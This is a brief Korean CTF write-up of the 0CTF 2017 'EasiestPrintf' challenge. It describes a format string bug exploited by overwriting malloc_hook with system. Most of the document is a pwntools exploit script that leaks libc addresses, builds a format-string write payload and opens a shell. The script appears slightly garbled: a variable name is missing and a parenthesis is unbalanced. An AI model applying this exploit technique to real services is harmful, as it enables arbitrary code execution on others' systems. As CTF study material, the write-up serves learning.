CTF/2017

[0CTF EasiestPrintf] write up

powerprove 2017. 6. 30. 18:55

포맷 스트링 버그 문제이다.

codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.

근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다

때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
context.clear(arch = 'i386')
= remote(host, port)
raw_input("0CTF")
 
def leak():
    printf_got = 0x8049FC8
    s.recvuntil("read:\n")
    s.sendline(str(printf_got))
    printf_addr = int(s.recv(10), 16)
    return printf_addr
 
if __name__ == "__main__":
    printf_addr = leak()
    libc_base = printf_addr - 0x49670
    malloc_hook = libc_base + 0x1b2768
    system_addr = libc_base + 0x3ada0
    data = 0x804A020
    #data = libc_base + 0x15b9ab
 
    log.info("printf_addr      : " + hex(printf_addr))
    log.info("libc_base        : " + hex(libc_base))
    log.info("malloc_hook      : " + hex(malloc_hook))
    log.info("system_addr      : " + hex(system_addr))
#data: 0x68730000}
    s.recv()
    payload = fmtstr_payload(7, {data: 0x00006873, malloc_hook: system_addr})
    payload += "%" + str(data-32+ "c"
    s.sendline(payload)
    s.interactive()
cs